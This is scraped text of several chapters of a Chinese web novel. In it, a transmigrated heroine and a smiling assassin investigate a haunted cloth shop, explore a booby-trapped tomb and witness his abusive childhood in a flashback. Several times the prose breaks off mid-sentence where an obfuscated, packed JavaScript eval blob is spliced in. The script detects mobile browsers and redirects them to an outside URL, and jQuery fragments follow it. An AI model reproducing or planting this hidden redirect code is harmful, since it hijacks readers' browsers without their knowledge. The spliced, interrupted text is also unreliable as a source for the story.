意想不到的举动,池镜花怔了几怔,满是疑惑地道了声“谢谢”,接着坐到对面,捧起瓷碗,感受到掌心传来的温热,低着头喝了一口白粥。 奚逢秋静静凝视着她,也不知是哪个举动戳中了他,蓦地弯起唇角。 低浅的笑声传至池镜花耳里,她只觉得有时候真的很难搞明白他在想什么。 “好了,吃完了,我们走吧。” 周围是充满杀气的目光,对面坐着难以琢磨的男配,池镜花压根不敢磨蹭,几口喝完一碗粥,只想赶紧办正经事。 奚逢秋低低地应了声“嗯”,慢腾腾地起身,跟在池镜花身后一块走出客栈。 秋日的清晨伴随丝丝凉意,在踏出屋子后感知最为明显。 池镜花忍不住瑟缩了下,反观奚逢秋,几乎不受影响。 他墨发半束,身量很高,衣袂在冷风中翻飞,池镜花稍稍抬头,看见血红的耳饰划过颈侧冷白皮肤,透露出一丝诡异的美感,但眉目却缱绻着温柔的笑意,五官宛若画中谪仙。 池镜花默默把视线移至系统面板,可系统标注的地点中并未包含袁氏布庄,因此,她只能跟着奚逢秋。 “你认识客栈里的那些人吗?” 白鹤于半空盘旋,路上行人渐多,不由得令池镜花想起客栈那些人审视打量他们的眼神,真的让人很不舒服。 “不认识。” 奚逢秋印象中并未与那些人打过照面,不过这种情况不算少见,只是回想起那些人看他的眼神,眼底的笑意便止不住浮现。 “但他们应该很想杀我。” 好奇心被激起,池镜花忍不住刨根问底:“为什么?” 奚逢秋用余光瞥了她一眼,神情淡淡,微凉的声音随着习习风声一并卷进她耳中。 “我的名声并不好。” 池镜花震惊到忘记言语,就算是十恶不赦的杀人犯都不见得会承认自己是坏人,相比之下,他坦诚得过分。 也许是因为,他人的看法对他来说无足轻重。 池镜花不再说话,一路保持沉默,直到两人停在繁华的街道一侧。 清晨的凉意逐渐被愈发强盛的日光驱散,伫立在他们面前的是一排商铺,但别家店铺客人络绎不绝,只有袁氏布庄生意最是惨淡。 布庄老板是个中等身材、耳鬓已生出华发的男子,戴着一顶深色的帽子,身着深蓝色的长衫,衣裳的做工和衣料都是极好的,若皆是出自这家店,想必老板的剪裁工艺不低,定是要受到客户追捧的。 可如今店内却是一副萧条的景象,想必是闹鬼的消息多多少少传到了别人耳中。 好不容易有客人登门,一直无所事事的老板立马换上一副笑脸迎了上来。 “二位是要做衣裳?” 池镜花偷瞥一眼奚逢秋,见他神色淡漠,怎么也不像对量体裁衣感兴趣的样子,于是道:“只有我。” 老板漆黑的瞳孔上下转动,打量了半分钟,从喉咙深处发出由衷的赞赏。 “姑娘生得这般好看,想来穿什么都合适。” 商业互吹嘛,她懂。 池镜花立刻笑回:“过奖了。” 老板又道:“那我先带姑娘四处看看?” 池镜花不可置否。 当然,是为了套 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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少年眼睫低垂地注视着她,细碎柔和的日光洒在他的含笑的眉眼,像一尊温柔的佛像,却让那姑娘见到他的刹那,惧怕地跑了。 池镜花忽然好奇他以前究竟做过什么,关于奚逢秋的过去原著只字未提。 但还是下次吧。 横竖打听不到闹鬼的有用信息,于是池镜花找个理由跟奚逢秋一块出了布庄。 还不到中午,但早晨湿冷气全然消失。 她原计划走访街边商户,但就在此时,梳着双丫髻的丫头从布庄的后门绕过来,气喘吁吁地穿过一整条街,停在池镜花跟前,塞给她一张黄纸。 池镜花完全不明所以。 “额……这是?” 小丫头似不会说话,紧张得额间细汗密布,着急忙慌地对她比划了半天,最后惊恐地望了一眼奚逢秋,拔腿跑了。 池镜花愣是一句没听懂,疑惑地打开纸条。 骄阳之下,是一行清秀的小字。 【城外西南州极桥】 “西南啊……” 看清纸条上的字迹后,奚逢秋缓慢地弯起了好看的唇,眼底闪过一丝微不可察的兴奋之情。 伴随他的蓦然靠近,那股熟悉的清香再度萦绕在她身侧,纷纷涌入鼻腔,与布庄红嫁衣的檀香不同,会让她莫名地安心。 池镜花下意识地吸了吸鼻子。 她记得西南刚好跟她穿书落地时的山地是反方向,不过却不明白袁府的丫鬟为何要让她去那里,还指明“州极桥”,是想瞒着袁老板给她透露什么重要信息吗? 像是看透她的内心想法,墨发随风轻晃,奚逢秋微微偏过头,蓝紫色的双瞳清晰地倒映出池镜花的迷惘神色。 “这么好奇,不妨过去看看。” 回想起城外西南的现状,奚逢秋不由得垂下眼眸,像是喃喃自语,又像是某种劝诫,低声张了张口。 “应该会很有意思。” 8. 第8章 州极桥…… 池镜花在心里反复咀嚼这三个字,直到几道清脆的鹤唳才唤她的神识。 早已远离城镇的喧嚣,四周寂静唯有鸟啼,树影斑驳,清风徐徐。 耳边时不时地响起枯枝落叶被踩断而发出脆亮的声音,她深吸一口凉气,轻抿着唇悄悄望向身侧的少年。 日光下,枝叶的光斑打在他的面颊,随着不疾不徐的步伐变幻莫测,只见奚逢秋的唇边始终擒着一抹笑意,像是对州极桥很感兴趣的样子。 池镜花低着头,目光定格在他微微蜷曲的指尖,想到那些杀人的细线。 如今,池镜花是既好奇他的真身,又对金德镇百姓对他的态度感到困惑。 比起前者,还是后者更容易开口。 “奚逢秋?” 池镜花鼓起勇气唤他。 与其猜来猜去,不如直接问,至于奚逢秋愿不愿意告诉她实情则是另外一回事。 闻言,奚逢秋偏头,浓密的长睫微微低垂,安静乖巧地等待她的提问。 “你之前经历过什么?” 迎上他探究的目光,池镜花紧张地吞了口口水,发出的声音却不低,“为什么这个地方的人对你又恨又怕?” “也许是因为我杀了很多人。” 奚逢秋依旧面不改色,微微低着头,纤长的睫羽如蝶翅轻轻颤动,唇畔轻轻扬起,耐心把玩手中细线。 “有人要杀他们,我接了悬赏令,所以就替别人杀了他们。” 虽然他说得言简意赅,但池镜花稍微一想就得出个重要结论:不论原因,只要有人出钱挂出悬赏令,奚逢秋看上后就会按照悬赏令的要求取人性命。 如同杀人机器一般,自然会招致怨恨和恐惧。 池镜花一时噎住,干脆不说话了。 已是午后,烈日灼灼,气温攀升,一路上虽有树荫遮挡,但依旧晒得人脸发烫。 两人一前一后地穿过幽深的竹林,一座残桥出现在面前,久与路人经过,桥面已铺上一层枯黄落叶,除此以外,着实没有特别之处。 她不明白写纸条的人为何要叫他们来这里。 池镜花疑惑挠脸,随即一道轻慢的声音如微风般轻拂过耳廓。 “这边。” 奚逢秋手指微抬,指向白鹤所停的位置,就在不远处。 池镜花跟过去,看见一座墓地,石门制成的入口已被撬开,明显在他们之前已有人来过。 而要想进入墓穴,首先得穿过一眼望不到尽头的一节节石梯。 只是令她诧异的是,纸条上的州极桥原来不是州极桥,而是指桥旁边的这块墓穴。 “要下去吗?” 奚逢秋没有立刻行动,垂下的柔和目光投向她所在的位置,似在等她决断。 池镜花握紧纸条,坚定点头,“嗯,要。” 经历昨日夜里一场暴雨的洗礼,墓穴里的空气变得湿润,通往深处台阶上也多出无数泥泞和落叶。 进入墓穴后,耳畔不断响起“啪嗒啪嗒”脚步声,池镜花的心跳也跟着变速。 不对。 她总觉得哪里奇怪。 他们这一路走来,虽有白鹤引路,但奚逢秋表现得实在太过镇静,就像是早已习惯了一般。 池镜花稍稍侧头,眨着明亮有神的双眼,试探性地开口询问:“你以前来过这儿吗?” 奚逢秋极轻地“嗯”了一声,目光不曾驻足她身上,语气淡淡地回道:“在这附近杀过人。” “……” 嗯,猜到了。 池镜花见怪不怪地应了一声,很快调整好心态,只在思考这石阶到底什么时候才能走到尽头,更为重要的是,顺着石阶越往下走她的心情越忐忑。 出于好奇,她时不时地用余光偷瞄奚逢秋。 本就幽暗没有灯火的狭小甬道里,他偏偏还专心用细线翻花绳,根本不看路,有好几次差点踩空。 “小——!!” 在奚逢秋距离踩空摔倒的最近一次,池镜花忍不住出口提醒,只是话未说尽,只见奚逢秋已稳当地踩在石阶上。 血红的耳铛划过颈侧轻轻摇曳着,奚逢秋饶有兴趣地偏过头,笑着替池镜花补完被咽下去的半句话。 “方才是想说‘小心’吗?” 池镜花神情一噎,老实巴交地点头,“是啊,因为你没在看路嘛。” 只是她下意识地一句提醒,别的没多想。 池镜花自认为自己还算关心同伴,不料下次奚逢秋接下来的一句话犹如一盆冷水从天而降,将她从头到脚浇了个透。 “那你呢?是在认真看路吗?” 昏暗的光线映在奚逢秋苍白如雪的面颊,少年的蓝紫色的瞳孔漾着浅浅的笑,视线轻轻降落在池镜花脸上。 池镜花秒变沉默。 无他,她也在分心偷看奚逢秋。 “我好看吗?” 池镜花原以为她的沉默能终结话题,谁知耳畔猝不及防响起一句轻柔的话语。 她诧异地转过头,迎上少年目光,微微张口,思忖良久仍不知要如何作答。 唯有沉默应对。 奚逢秋不解地歪了歪头,“这个问题很难回答吗?” 看似温柔引导,实则步步紧逼。 池镜花觉得已经不能用“好奇心重”来形容他,还是“偏执”最为适合。 对于他所疑惑的事情,奚逢秋似乎总要想尽办法弄清楚,隐有不死不罢休之势,就像好奇她身份而一直跟在她身边那般。 自知怎么也逃不过,池镜花深吸一口气以平复心情,接着强装平静地叙述自己内心真实想法。 “嗯,好看,你的脸……很好看。” 像这样当着异性的面称赞对方还是头一遭,池镜花难免尴尬,双颊微红,说起话来也是断断续续。 “原来池姑娘也偏好皮囊之美。” 他说话时的尾音微微扬起,池镜花却不觉得哪里不对,“爱美之心人皆有之嘛。” “说的也是。” 奚逢秋轻轻点头,长睫轻颤低垂,四散的思绪渐行渐远,似是陷入了久远的回忆,从喉咙深处溢出的声音也极为轻缓。 “以前,也有个人说我长得好看,她说她喜欢我。” 池镜花不由自主打了个冷颤,但还是忍不住问:“然后呢?” 奚逢秋忽地轻笑一声,笑声犹如湿冷的阴风扫过她的耳廓,引得身体一阵无名的颤栗。 “她很无趣,就连说的谎话都十分无趣,所以我杀了她。” 他总是习惯以最温柔的语气道着最血腥的话语,丝毫不觉不对,仿佛在他的认知里,“取人性命”不过是一件稀松平常的事情。 池镜花一时无言以对。 不过转念一想,幸好在山上的时候,她没有选择当场表白这条路,不然被他看穿只是为了保命而扯的慌,恐怕这世间就得多出一具尸体。 静默几秒,池镜花漆黑的眼珠转动一圈,话题自然而然地落在别处。 “那你喜欢什么样的人?” 奚逢秋思索片刻,结果并非是池镜花想象中的形容词,而是给了一个具体的人。 “悬赏司的官吏。” 如清泉般声音掷地的瞬间,池镜花脑海里不由自主地浮现出悬赏司官吏的长相。 但按照正常的审美来说,悬赏司官吏的猴系长相应与“好看”二字沾不上边。 但看奚逢秋的表情也不像是开玩笑的样子。 ……这审美是不是奇特了点? 池镜花简直难以理解。 见她迟迟没有给出回应,奚逢秋偏生好奇,他半歪头侧望身旁之人,绸缎似的墨发划过耳侧,眼底闪烁着湛清的笑意。 “不觉得很有趣吗?” 有趣? 池镜花疑惑眨眼,在这一瞬间,总算搞懂了他的思维逻辑。 无关美丑,对他来说,只要足够有趣就行了。 池镜花心不在焉地“嗯”了一声,低着头轻轻捏了下自己的脸颊,感觉自己变成奚逢秋眼里“有趣的模样”还挺难的,与此同时,她脑子里突然冒出一个奇怪的念头。 ——要不她去学脱口秀吧。 感觉会比费劲吧啦地让他对她动心更有前途。 池镜花在心里默默叹气,总觉得前路漫漫,看不见终点。 谁也没再说话,耳边仅剩微弱的风声以及规律的脚步声,不知过去多久,石阶总算连起地面他们走到了尽头。 身处地底深处,周围一片漆黑。 池镜花摸出火折子,吹了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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正常人是不可能把墓中盗出来的物品光明正大地摆出,所以那件嫁衣是袁老板从盗墓者手里收购的吗? 若真是如此,那袁氏布庄的女鬼是否跟这女尸有关? 感觉闹鬼事件终于有些眉目,池镜花忍着惧怕将火折子凑近女尸,借着烛光看见女尸手指下压着一张破旧的符咒。 池镜花对符箓之术一窍不通,只能抬头望着奚逢秋。 他饶有兴趣地打量着女尸,也不知想到什么,竟直接伸手去捡符咒。 “等……” 池镜花想要阻止他,要知道像这种墓穴为防盗墓贼一般都会设置机关,谁知没等她说完,一根飞箭从未知的角落直直地射|出,几乎是朝着奚逢秋而来。 偏偏奚逢秋没有任何躲避的迹象。 池镜花大声提醒:“奚逢秋!” 他还是没动,或许压根不想躲。 真是个疯子! 不存在任何思考,纯属本能反应,下一个瞬间,池镜花拼尽全力将他扑倒在地。 她几乎整个人压在奚逢秋身体上方,全靠手脚并用,才没彻底摔在他身上,当然,也没碰到他身体任何一处,只是双手撑地的动作像是把他禁锢。 烛火忽暗忽明,四周寂静无声,唯火折子不慎掉落地面而发出的清脆声响,被无限放大,最后在脑海里轰然炸裂。 太近了。 他们从未如此近过。 池镜花傻傻望着他,一时忘记言语。 被压在身下的奚逢秋睫羽如蝶翼般轻颤,神情逐渐变得恍惚和迷茫。 冰凉柔软的乌黑发丝悄然滑落至奚逢秋的脸颊,如一缕缕海草抵死般的缠住他。 世间万物都在此刻停滞。 少女依旧没动,炽热的呼吸喷薄而出,仿若无形之刃穿透他的皮肤,继而幻化成巨大的五指,控制着他的大脑、呼吸以及心跳。 好奇怪的感觉。 奚逢秋强迫自己偏过头,视线交错,悸动的心跳正在一点点被抚平,但脸颊所传来若有似无的酥麻感最为明显。 “好痒啊。” 9. 第9章 痒? 声音闯进脑海里的瞬间犹如巨石掷地,在平静的湖面激起千层浪花。 池镜花一秒回神,这才注意到两人当前的姿势。 咫尺的距离,不仅是五官和细节被无限放大,不知为何,就连呼吸的空气都仿佛被炭火灼烧过一般,烫得惊人。 池镜花看见奚逢秋浓睫低垂,如蝶羽般轻轻颤动,四周萦绕着若有似无的清香,她顿时呼吸一滞,尴尬感油然而生。 “对不起,对不起。” 池镜花毫不犹豫地爬起,接连向后退了两步,只是神情还有些恍惚。 潮湿的空气中弥漫着淡淡血腥,如水面涟漪渐渐铺散开来。 奚逢秋缓慢站起,瞳孔微微转动,最先注意到的是池镜花右手小臂那道刺眼的猩红。 “是受伤了吗?” 他的声音依旧平静,不过还夹杂了些别的难以言说的情绪。 池镜花无法分辨他现在心情如何,不过经他这么一提醒,倒是后知后觉地感受到手臂的痛楚,低头一看,才发现是箭矢从小臂擦过,留下一道不深不浅的伤口。 是有点疼,但问题不大。 “没事,只是擦伤。” 尽管如此,为了避免伤口感染,池镜花还是撕下一块布料小心翼翼地包扎了下,接着弯腰捡起火折子,抬头时发现奚逢秋正疑惑不解地凝视着她。 飞舞的火光映照在他蓝色的双瞳中如一只飘飘欲飞的蝴蝶,表情却极为平静,不见任何多余的情感。 “为何要救我?” 包括刚才也是,池镜花似乎也是打算提醒他注意他脚下的台阶。 不合常理。 越是这般,奚逢秋越是好奇她的行动目的。 池镜花微微一怔,随即抬起亮晶晶的杏眼双眸,目光坚定地直直盯着对方。 “那你刚才是故意不躲的吗?” 似是没料到她会以问题回答问题,奚逢秋无意识地歪了歪脑袋,明明灭灭的的烛光照血红的耳铛上,仿佛藏着一束跃动的小火苗。 耳铛轻轻摇曳,不规则的模糊阴影投在他的脸颊一侧,他的声音又轻又缓。 “嗯……好像是我先问的你。” 池镜花一阵沉默,思忖半分钟,决定老实回答:“因为我怕你会受伤。” 在她看来,男配受伤是一件极其麻烦的事情,所以最好能避免则避免。 奚逢秋静静地注视她几秒,兀自笑了起来,看着心情很好的样子。 “你的回答可真奇怪,为何要怕我受伤?也是因为我长得好看吗?” ……怎么还揪着这个问题不放了? 池镜花突然后悔说他长得好看了。 面对奚逢秋打破砂锅问到底的决心,池镜花深吸一口凉气,不慌不忙地缓缓道来:“这只是一方面,而且你不是说过我很在意你的事情吗?既然我在意你,那你受伤我肯定会担心。” 池镜花对于“自己在意他”一事毫不避讳,因为这既是事实,也是奚逢秋有所察觉的,根本没必要遮遮掩掩。 像这样毫不避讳地承认“自己在意他”令奚逢惊愕,随即垂下头,低垂的鸦黑睫羽遮住眼底的稍纵即逝的情绪,只剩喉咙溢出的浅浅笑声。 低浅的笑声如一根羽毛贴着她的耳廓若有似无扫过,池镜花忍着痒意,假装咳嗽清了清嗓子。 “咳!好了,现在该你回答我的问题了,刚才你是故意不躲的吗?” “嗯,我是故意的。” 他轻轻点头,唇角微微上扬,语气煞是轻松。 “我不惧怕死亡,倒不如说,我很想知道被杀死是什么滋味。” 借着昏暗的光线,池镜花看见他露出几分期待的神情。 虽然隐隐觉得就是这么回事,但当他亲口说出的那一刻,她还是被吓到了。 沉默良久,她的脑海中突然闪过原著关于男配结局的描写。 在京城篇章结束后,奚逢秋便彻底下线,再度出场是在番外,仅是路人甲的一句“有人死了”,而这个死的人恰好与男配有几分相似,所以当时就有读者猜测男配最后死了,只是无从考证。 现在看来,这个死人极有可能就是奚逢秋,反正他压根不在乎自己的性命,哪天死了也很正常,只是作者没直接点出来。 怪不得她一直觉得他整个人弥漫着股淡淡的死感,原来问题出在这。 但这对池镜花来说可是个大难题。 她要攻略奚逢秋,首先得保证奚逢秋是活着的。 “那你还是别想了。” 池镜花不由自主地紧握拳头,暗自下定一定要保证奚逢秋生命安全的决心。 “有我在,我不会让你死的。” 毫不怀疑,奚逢秋垂眸望她,只是如兄长像情人那般温柔地笑着。 “嗯,我很期待。” ……不是,他在期待什么啊? 只能说,他的脑回路还真是与众不同。 池镜花叹了口气,俯身拾起地上的红绳,用火折子的火烧断了一截取下,决定连同符咒一起,带回去给男主看看,也许会弄清楚布庄闹鬼事件的真相。 虽然出墓穴之路异常顺畅,但当两人回到地面已是黄昏,又花了些时间才回到客栈。 此时,天已经完全黑了。 池镜花本打算第二天再去找男主说明情况,谁知在与奚逢秋一道前往客栈二楼途中,路过赵星澜门口,惊讶发现房间烛光闪烁,屋内之人尚未入睡。 池镜花正要叩门,发现房门虚掩,一抬头,透过门缝,无意看见房间正燃着几根香烛,烛火明明灭灭,光线模模糊糊,依稀可见有位绝色容颜的女子端坐在桌前。 女子一身单薄的红衣,身后柔软的乌发拖曳至地,皮肤白得几近透明,美眸眼波流转,一颦一笑皆美艳动人。 靠啊! 是女主。 和大多数的玄幻小说不同,原著《鬼仙》,女主纪望慕的设定是一只艳丽的女鬼。 道士和女鬼……一听就很有搞头! 跟大多数人一样,池镜花也是为嗑这对CP而点开的原著,最后理所当然地也成了男女主的CP粉。 所以当看见她所嗑的CP同框时,池镜花惊讶到下意识地踉跄后撤,却一不留神撞上身后的奚逢秋。 分明隔着衣裳,可后背却隐约升起一股淡薄的凉意,如一只游走的毒蛇贴近皮肤钻入毛孔渗进骨骼。 很冷。 四周静悄悄,灯火忽闪,不闻风声,眼前只有一片模糊不清的光影。 池镜花瞬间冷静,失散的瞳孔渐渐对焦,她扭过头,四目相对之时,看见奚逢秋平静如水的蓝色瞳孔倒映出一张熟悉的面孔。 她略感诧异,欲要道歉,奚逢秋忽地弯着眼睛笑了几笑,缓缓抬起如羊脂玉的指尖,指向男主的房间。 “不进去吗?” 不是她不想进去,而是现在并非好时机。 他有没有眼力见啊! 反正池镜花是不好意思打扰男女主。 没等她回答,“吱呀”一声,房门被人推开。 “池姑娘?还有……奚公子?” 望着面前的二人,赵星澜登时愣住,顿时陷入秘密被暴露的窘境中,只好先将他们二人请进屋,硬着头皮一句句地解释。 原来,他在捉鬼途中受伤,无意被女主纪望慕所救,至此,二人变成共生关系,可纪望慕毕竟是鬼,所以她只能在太阳下山现身,而在白天则栖身男主随身佩戴的玉佩里。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15244786|166345||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >说到最后,赵星澜红着耳廓低声请求:“还望二位替赵某保守秘密。” 毕竟要是让别人知道齐云山的捉鬼道士跟一只女鬼纠缠不清,他压根无颜回归师门。 闻言,纪望慕“噗嗤”一声笑了出来,好像不在意赵星澜究竟如何看她,淡淡瞥了他一眼,端起一盏香烛,微微侧过身,安静地吸食香火以恢复精气。 池镜花想起起原著描写女主性格洒脱不拘一格,现在看来,真是一点不假。 分别望了一眼两人,赵星澜忽然十分好奇他们出现在这里的原因。 “对了,还不知二位深夜前来所为何事。” 池镜花收回定格在女主身上的视线,他们今日所经历的事都一字不落地全盘托出,接着取出墓穴里捡来的红绳,但女尸身上的符咒还在奚逢秋手上,于是偏过头朝身侧之人眨了眨眼睛。 大抵是毫无障碍地接收到她发出的讯息,奚逢秋也拿出符咒。 池镜花从他手上接过,一并交给赵星澜。 “这个,还有这个,是我们从一座墓穴里发现的,符咒是在女尸身上发现的,而红线缠绕在棺椁四周,赵道长,你看能不能找到女鬼的线索。” 她的动作很快,全然没注意到自己温热的指腹已若有似无地滑过他冰凉的掌心。 奚逢秋眼眸低垂,指尖抑制不住蜷缩了下,像是被什么给烫了一下,连带着四周都泛起一股热意。 没人注意到他的异样。 “是还魂术!” 赵星澜一眼辨出符咒门道,解释道:“还魂术是一种邪术,施法者用还魂符锁住死者的魂魄,以为这样就能使死者起死为生,只是这种邪术并不会奏效,相反,还会滋生恶灵。” 听他所言,池镜花暗暗感叹男主不愧是齐云山的道士,没人比他对妖鬼之事更了解。 即便是这样,也有男主无法攻克的难题,便是池镜花拿来的红绳,他打量许久也瞧不出所以然。 “是混合狗血的墨水。” 一根红烛悄然燃尽,气色有所好转的纪望慕冷不丁地开口打破寂静:“红绳被狗血和墨水浸泡过,应是为了辟邪。” 闻言,赵星澜立刻凑近闻了闻,证实了纪望慕的想法,又推测道:“或许是施法者不想让其他妖鬼找到这座墓穴破坏还魂术,这样看来,你们遇到的极有可能是衣服鬼。” 衣服鬼,顾名思义,附在衣服上的鬼魂。 由于“还魂术”,女尸死后魂魄不散,怨恨难消,时间一长怨鬼便附在嫁衣上成了“衣服鬼”。 原本,还有浸泡过狗血的红线阻碍“衣服鬼”踏出墓穴,谁知几个盗墓贼胆大撬开墓穴,将红嫁衣偷出去卖给布庄,这才引起布庄闹鬼。 眼看男女主你一言我一语,轻松破解迷题,池镜花由衷感叹男女主能够成为主角是有原因的——智慧必不可少。 赵星澜沉思片刻,“或许明日,我们还得去一趟袁氏布庄。” 池镜花忙不迭地点头。 早日完成悬赏令的任务也好拿赏金,毕竟,她身上的银子可不多。 不过现在,他们得休息。 池镜花心领神会地分别看一眼男女主,带着老母亲嗑到CP的笑容满足地离开此处。 穿过幽暗的走廊,在即将推开房门的刹那,池镜花指尖一顿,似是想起什么,微微转头向身侧看去。 “奚逢秋。” 她的房间与奚逢秋相隔不远,只见阑珊的灯火下,奚逢秋轻轻偏过头,投在颈侧的耳铛阴影跟随闪烁的烛火微微摇曳,他略带困惑地凝望着她。 池镜花从未注意到这道视线究竟停留在她身上多长时间,只是恍然记起昨夜的梦境,不由得弯弯眼眸,露出笑颜。 “你也要做个好梦啊。” 10. 第10章 四周寂静,夜风微凉,偶有凉风吹动床幔。 池镜花躺在床上,回想起预祝奚逢秋做个好梦时,他平静凝视她片刻,轻声道了句“多谢”,也不知有没有明白她的好意。 她无奈叹口气,决定睡觉,就在此时,沉寂许久的系统上线了。 【男配好感度+10,当前好感度:10/100】 【恭喜宿主初战告捷!】 【新手奖励:记忆回溯一次,是否选择立刻使用?】 什么? 奚逢秋对她的好感度上升了? 池镜花激动地坐起。 她仔细回想今日所发生的一切,实在找不到可增加好感度的契机,硬要说的话,也就帮奚逢秋躲避过一道暗器,可他压根不在意生死,怎会因为这个而心生好感。 池镜花实在想不清楚,不过……这个“记忆回溯”又是什么? 犹豫片刻,她决定“现在使用”,下一刻,意识便被一种强大的力量拖入不知名的空间,再霸道地强塞进另一个人的身体里。 待她再睁眼的时候,双瞳倒映出另一番陌生的天地。 池镜花慢慢低头,透过地面的水渍看见自己的意识附在了一个中年男子身上。 【你好宿主,这里所发生的一切都是男配的过往。】 【注意:在记忆回溯的这段时间里,你只能按照人物设定做出相应的行为,请不要试图违抗设定改变男配的过去,否则会对男配的人格造成影响,继而影响整本书的故事走向。】 池镜花完全可以理解。 所谓“蝴蝶效应”,即再小的一件事也有可能改变一个人的人生轨迹,若人生轨迹不同,这世上依旧会有奚逢秋,但再也不是她所认识的奚逢秋。 午后刺眼的日光透过高耸的枝丫穿过窗棂,将斑驳的树影投在池镜花的脚边,微风经过,模糊的树影轻晃。 伫立在她面前的是一栋典雅精致的古宅,宅子内部陈设考究。 此时此刻,鼻腔涌入一阵淡雅清新的香气。 跟随这具身体主人的动作而缓慢抬头,她望见被高墙围起的院落中有一方莲池。 池镜花陡然回忆起老家后院的池塘也种了许多莲花,小时候,每每夏天,入睡和醒来总是伴随着阵阵清香。 而奚逢秋身上时不时所散发的香气便与莲花的香味相差无二,怪不得她总有种熟悉又安心的感觉。 所以,奚逢秋是……莲花妖吗? 池镜花又惊又喜。 没等她缓过神来,男人的视线向下望去,池镜花看见有一位伏案认真写字的男孩。 她一眼就认出那是小时候的奚逢秋。 五官和眉眼几乎是等比例缩小,此刻还并未佩戴血色耳饰,雾蓝色的衣服上在领口和衣袖处残留些许晕染开来的墨水。 “世子的字写得可真好。” 如同设定好的程序一般,池镜花直直地向小奚逢秋走去,面带微笑地一个字一个字往外蹦。 等一句话说完,池镜花才猝然明白一件事。 嗯?世子? 奚逢秋的身世原来是这样的吗? 关于这点,原著中可是从未提过。 闻言,小奚逢秋慢慢偏过头,在一缕阳光直直照射下,飞舞的树影映在他的略显病态的面颊,他轻轻歪了歪脑袋,表情略带疑惑。 “夫子喜欢吗?” 约摸是夫子想说些什么,所以连同池镜花也是微微一怔,一副欲言又止的模样。 只是还没等来夫子的回答,一阵脚步声由远及近地传来,很快,一位容颜昳丽、与奚逢秋有几分相似的年轻女人出现在门口,身后还跟随两名丫鬟。 女人身着黑色华服,领口、袖口和腰间皆以金线绣出花叶与凤凰尾羽的图案,流光溢彩的名贵珠钗歪七扭八地戴在发间,眼神空洞无光,脸色惨白如纸毫无血色,唇瓣却涂得嫣红,像滴着血。 池镜花按照既定动作行礼毕恭毕敬地喊了一声“王妃”。 小奚逢秋微微笑着,顺从乖巧地叫了声“母亲”。 母亲…… 池镜花努力回想原著,隐约记得原著曾隐晦地提过奚逢秋的母亲是一位苗姓女人,似乎是叫……献仪。 苗献仪僵硬转动漆黑的眼珠,冰冷的视线从两人身上轻轻扫过,踩着“哒哒哒”的步伐,极为缓慢地朝窗边的木桌走去。 她停在桌前,轻轻抬起涂满丹蔻的手指,捡起一张奚逢秋所写的字,将其举高,对着日光,高仰起头。 炽热的阳光透过薄纸,直射她的眼球,漆黑的瞳仍旧没有半星光彩。 沉默许久,她忽然扬起唇瓣,笑容僵硬诡异,接着,抬起另一只手,极为缓慢将薄纸从中间撕成两半。 “没用……” 看似平静的外表下实则暗涌波动。 突然,她又去撕第二张,接着是第三张、第四张……撕烂、撕碎、揉成一团、挥舞双手,速度越来越快。 “没用!没用!没用!没用!没用!没用!没用!没用!没用!没用!没用!没用!没用!没用!没用!都没用!” 她的情绪愈发激动,语速越来越快,声音也越来越高,全然不在意周围是否还有旁人。 “他不会回来的!不会回来的!不会回来的!不会回来的!不会回来的!不会回来的!” 在她提到“他”之时,池镜花的直觉告诉她,这个人可能就是奚逢秋的父亲。 下一瞬,她如同发了疯似的大肆挥袖,清空桌子上的一切,好巧不巧,一方砚台朝奚逢秋砸去。 他站在原地毫不闪躲,下一刻,额头被砚台砸中。 乌黑的墨水浸透衣裳,额头也很快见了血,混着墨水砸向地面。 奚逢秋仍旧笑颜如初,没有任何情绪起伏。 池镜花心里直发毛。 不远处的站在太阳底下两名丫鬟交头掩唇偷笑,时不时地交头接耳窃窃私语,似对这种场景早已见怪不怪。 不知是阳光过于刺眼还是丫鬟的笑声令她不适,莫名有种烦躁的情绪在池镜花心口乱撞。 砚台摔在地上而发出一声清脆的响声,苗献仪瞬间回神。 疯狂与狂躁彻底消失,她面带淡淡笑容,以温柔的的姿态跪在奚逢秋面前,一手捉住他的脸颊,一手抚上他的额头。 “阿秋,疼吗?” 言语间看似是道不尽的关心,可却狠狠地按住他的受伤部位。 分明被母亲这般粗暴对待,可奚逢秋却依旧不见情绪波澜,甚至像只讨好主人的宠物,亲昵地蹭了蹭她的掌心。 “不疼哦,母亲。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15244787|166345||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 站在一旁的池镜花心跳止不住加速,不知到底这幅身体的主人感到恐惧还是她自己的原因。 但这件事并非到此为止。 听到奚逢秋的回答,苗献仪的眼神里一闪而过的厌恶与不满,指下故意加大力气,致使伤口血流速度加快,血珠顺着她的指尖砸向地面,给予斑驳凌乱的墨迹缀上一朵朵血红的梅花。 “疼不疼!疼不疼!疼不疼!” 